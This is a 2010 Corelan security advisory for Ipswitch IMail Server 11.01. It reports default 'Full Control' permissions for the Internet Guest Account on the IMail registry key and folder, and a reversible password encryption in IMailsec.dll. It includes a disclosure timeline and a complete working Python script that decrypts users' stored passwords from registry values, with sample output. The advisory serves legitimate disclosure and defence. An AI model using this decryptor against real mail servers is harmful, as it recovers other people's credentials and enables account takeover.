|------------------------------------------------------------------|
|                         __               __                      |
|   _________  ________  / /___ _____     / /____  ____ _____ ___  |
|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
|                                                                  |
|                                       http://www.corelan.be:8800 |
|                                                                  |
|-------------------------------------------------[ EIP Hunters ]--|

Advisory : CORELAN-10-009
Disclosure Date : Feb 4th, 2010

0x00 : Vulnerability Information

 [+] Product  : IMail Server
 [+] Version  : 11.01
 [+] Vendor   : Ipswitch
 [+] URL      : http://www.ipswitch.com/
 [+] Platform : Windows
 [+] Issue fix: No
 [+] Vulnerability discovered by: sinn3r
 [+] Greetings to: Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT/mr_me/ekse/sinn3r/Jacky;
     and all the guys with secret identities at exploit-db.com  :-p
 [+] Special thanks to: Jason from Ipswitch

0x01 : Vendor Description of Software

 "The Award-winning IMail Server is a proven email messaging solution for small and mid-sized businesses.
  Reliable, scalable and versatile, IMail Server is an affordable choice that meets the messaging needs
  of small and medium sized businesses. Unlike complicated and more expensive messaging solutions, IMail
  Server delivers a quick and easy installation. As a scalable, standards-based, email server with Webmail,
  optional integration with Microsoft Exchange ActiveSync®, SMTP, POP, IMAP, LDAP, and List Server, IMail
  users can send and receive email using any standards-based client, including Microsoft Outlook®,
  Outlook Express®, or Eudora®. Or, users can access email from anywhere via IMail's customizable Web
  messaging, available in eight languages.

  Designed to place minimal ongoing maintenance burden on network administrators, IMail can authenticate
  users from its own database, an active directory database, or from any ODBC-compliant data store, making
  life easier for the busy administrator. IMail Server also delivers a quick and easy installation or upgrade
  process."

0x02 : Vulnerability Details

 1. By default, IMail allows Internet Guest Account to have "Full Control" to the following registry key,
    including its subkeys and values. As well as the default IMail directory:
  HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail
  C:\Program Files\Ipswitch\IMail\

 2. The IMail password decryption algorithm implemented in IMailsec.dll is also reversible.

0x03 : Vendor Communication

 1/21/2010 - IMail vendor contacted
 1/26/2010 - Got a reply from the vendor (product development manager) for more vulnerability clarification.
      No fix yet.
 2/02/2010 - Received another reply from the vendor: Issues logged for additional research.  No plans for
      immediate changes.  A public advisory was also suggested by the vendor as reference in their
      tech/KB article.
 2/04/2010 - Public disclosure: Advisory created.  Vendor informed.

0x04 : Exploit/Proof-of-Concept

#!/usr/bin/python

##########################################################################
# Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor
# Tested on: Windows XP SP3 (Windows version does not matter)
# Description:
# So I reverse engineered the IMail password decryption function in
# IMailsec.dll, located at 0x00563130.
#
# In order to decrypt correctly, you must have the correct username,
# because it is used as a key.
#
# All usernames and passwords are stored in registry, which can be
# found at:
# HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\[domain name]\Users
# Every registry key under "Users" has a string value named "Password",
# in there you'll find the encrypted password.
#
# By default, Internet Guest Account is granted with "Full Control" to
# the IMail registry, and its directory.  That means if an attacker
# manages to gain code execution (ie.via a web app bug), IMail can be
# his/her next playground.  And IMail users may not be safe.
#
# Demo:
# sinn3r@bt4:~$ ./iMailDecrypt.py admin C8D3D19AA094
# Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor
# coded by sinn3r  -  x90.sinner{at}gmail.c0m
# [*] Password = god123
#
# Responsible Disclosure Timeline:
# 1/21/2010  -  IMail vendor contacted
# 1/26/2010  -  Got a reply from the vendor for more vulnerability
#  clarfication.  No fix yet.
# 2/02/2010  -  Received another reply from the vendor: Issues logged for
#  additional research.  No plans for immediate changes.
#  A public advisory was also suggested by the vendor as
#  reference in their tech/KB article.
# 2/04/2010  -  Public Disclosure.  Vendor informed again.
##########################################################################

import sys
import binascii

## Convert the encrypted string to integers for calculation
## Returns the integer version as a list
def convertToInt(data):
 charset = []
 for char in (data):
  tmp = char.encode("hex")
  tmp = int(tmp, 16)
  charset.append(tmp)
 return charset
 

## Decrypt the password
## Returns the decrypted version as a list
def decryptPassword(intUsername, intPassword):
 results = []
 counter = 0
 counter2 = 0
 pwdLength = len(intPassword)
 while counter<pwdLength:
  firstByte = intPassword[counter]
  if firstByte <= 57:  #0x39
   firstByte -= 48  #0x30
  else:
   firstByte -= 55  #0x37
  firstByte *= 16   #SHL 0x40
  secondByte = intPassword[counter+1]
  if secondByte <= 57:  #0x39
   secondByte -= 48 #0x30
  else:
   secondByte -= 55 #0x37
  tmp = firstByte + secondByte

  if len(intUsername) <= counter2:
   counter2 = 0

  if intUsername[counter2] > 54:   #0x41
   if intUsername[counter2] < 90:  #5A
    intUsername[counter2] += 32 #0x20

  tmp -= intUsername[counter2]
  counter2 += 1

  results.append(hex(tmp)[2:])
  counter += 2
 return results

banner = """Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor
coded by sinn3r  -  x90.sinner{at}gmail{d0t}c0m"""

print banner

if len(sys.argv) == 3:
 if len(sys.argv[2]) % 2 == 0:
  username = convertToInt(sys.argv[1])
  password = convertToInt(sys.argv[2])
  decryptor = str("".join(decryptPassword(username, password)))
  print "[*] Password = %s" %binascii.unhexlify(decryptor)
 else:
  print "[*] Incorrect Encrypted password length"
else:
 print "[*] Usage: %s <username> <encrypted password>" %sys.argv[0]